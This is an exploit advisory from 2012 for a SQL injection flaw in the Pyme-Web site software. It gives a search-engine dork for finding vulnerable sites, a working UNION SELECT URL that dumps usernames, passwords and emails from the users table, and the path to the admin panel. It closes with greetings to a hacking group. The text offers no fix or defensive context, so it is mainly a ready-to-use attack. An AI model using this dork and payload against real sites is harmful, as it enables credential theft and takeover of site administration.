# Exploit Title: Pyme-Web SQL Injection Vulnerability # Date: 04/04/2012 # Author: Daniel Godoy # Author Mail: DanielGodoy[at]GobiernoFederal[dot]com # Author Web: www.delincuentedigital.com.ar # Software: Pyme-Web # http://www.pyme-web.com.ar/pw/index.php # Tested on: Linux # Dork: "pw/seccion_administrable.php?seccion_id=" [Comment] Greetz: Hernan Jais, Alfonso Cuevas, SPEED, Sensei, Incid3nt, Maximiliano Soler Sunplace, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0, InyeXion,LinuxFer, Scorp,ksha,zerial her0, r0dr1 y demas user de RemoteExecution www.remoteexecution.info www.remoteexcution.com.ar #RemoteExecution Hacking Group [PoC] http://localhost/pw/seccion_administrable.php?seccion_id=-1+UNION+SELECT+concat_ws(0x3a,username,password,email)+from+users-- Admin Panel: http://localhost/pw/panel_de_control/seguridad.php ------------------------- Correo enviado por medio de MailMonstruo - www.mailmonstruo.com